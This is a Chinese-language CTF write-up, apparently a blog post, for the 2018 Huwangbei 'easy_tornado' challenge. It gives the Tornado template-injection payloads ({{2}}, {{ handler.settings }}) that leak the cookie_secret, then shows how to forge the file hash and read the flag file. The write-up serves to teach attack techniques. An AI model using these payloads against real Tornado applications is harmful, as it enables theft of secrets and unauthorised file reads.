2018护网杯easy_tornado(BUUCTF提供复现)

本文介绍了如何通过SSTI(Server-Side Template Injection)模板注入漏洞来获取cookie_secret,并利用它来解密flag。在easy_tornado挑战中,通过对错误处理和文件访问URL的分析,确定了flag存储方式。通过模板注入获取handler.settings,从而得到cookie_secret,最终解密出flag。

进入页面:
在这里插入图片描述

然后依次看一下:
1)/flag.txt
网页内容:

/flag.txt
flag in /fllllllllllllag

url:
file?filename=/flag.txt&filehash=9f1a5c8c40be3aafbc5e719d151b1d36

这个页面告诉我们,flag在/fllllllllllllag文件中

2)/welcome.txt
网页内容:

/welcome.txt
render

url:
file?filename=/welcome.txt&filehash=290d383abaf5f98a0a858eeb99973a88

3)/hints.txt
网页内容:

/hints.txt
md5(cookie_secret+md5(filename))

url:
file?filename=/hints.txt&filehash=9c2c1e4ce37d7753784d1cdca61cd10f

从上面三个页面来看

  • flag在md5(cookie_secret+md5(filename))文件中
  • url中的filehash是md5(cookie_secret+md5(filename))

也就是说我们要向读取到文件,payload是这样的:
file?filename=/fllllllllllllag&filehash=**********************

******************的内容是md5(cookie_secret+md5(/fllllllllllllag))

所以我们的差的就是cookie_secret了,下面开始拿cookie_secret

通过源码和请求头并没有看到任何的cookie_secret信息,当我们尝试读取flag的时候:只修改filename为/fllllllllllllag,出现了报错:
在这里插入图片描述
题目是easy_tornado,/welcome.txt页面也看到render,可能会是SSTI模板注入
SSTI模板注入详解
尝试进行验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符背过滤了。

那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

传递error?msg={{ handler.settings }}得到:

{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘93881405-8942-4355-9d77-09906cf0fcd6’}
这样就拿到cookie_secret了

然后传递file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
这样就拿到flag了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值